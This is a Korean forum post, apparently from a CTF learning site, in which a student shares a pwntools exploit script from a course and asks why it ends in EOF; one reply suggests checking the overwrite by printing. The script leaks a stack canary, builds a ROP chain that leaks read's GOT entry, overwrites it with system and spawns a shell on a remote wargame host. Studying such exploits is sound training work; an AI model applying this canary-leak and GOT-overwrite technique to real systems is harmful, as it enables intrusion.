수업에서 제시된 코드가 안됩니다.
수업에서 제시된 코드에 libc 웹사이트에서 확인한 오프셋으로 수정한 후 코드를 돌렸는데 EOF가 떠서 당황스러워요. 현재 로컬 환경에서 gdb을 이용해보니까 rax 레지스터에 0x00값이 담겨 read가 안되는 상황입니다. 때문에 원격으로 문제 풀이를 진행 중인데, overwrite가 되었는지 확인할 수도 없어서 난처합니다ㅜㅜ
1 from pwn import *
2 def slog(name, addr):
3 return success(": ".join([name, hex(addr)]))
4 p = remote("host1.dreamhack.games", 19709)
5 e = ELF("./rop")
6 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
7 # [1] Leak canary
8 buf = b"A"*0x39
9 p.sendafter("Buf: ", buf)
10 p.recvuntil(buf)
11 cnry = u64(b"\x00"+p.recvn(7))
12 slog("canary", cnry)
13 # [2] Exploit
14 read_plt = e.plt['read']
15 read_got = e.got['read']
16 puts_plt = e.plt['puts']
17 pop_rdi = 0x00000000004007f3
18 pop_rsi_r15 = 0x00000000004007f1
19 payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
20 # puts(read_got)
21 payload += p64(pop_rdi) + p64(read_got)
22 payload += p64(puts_plt)
23 # read(0, read_got, 0x10)
24 payload += p64(pop_rdi) + p64(0)
25 payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
26 payload += p64(read_plt)
27 # read("/bin/sh") == system("/bin/sh")
28 payload += p64(pop_rdi)
29 payload += p64(read_got+0x8)
30 payload += p64(read_plt)
31 p.sendafter("Buf: ", payload)
32 read = u64(p.recvn(6)+b"\x00"*2)
33 lb = read - 0x110140
34 system = lb + 0x4f550
35 slog("read", read)
36 slog("libc base", lb)
37 slog("system", system)
38 p.send(p64(system)+b"/bin/sh\x00")
39 p.interactive()
#pwnable
작성자 정보
답변
1
bincat
세계수
puts 같은 함수를 실행시키도록해서 / 혹은 바이너리에 존재하는 출력 루틴을 타겟으로 해서 overwrite가 잘 되었는지 확인해 볼 수 있습니다!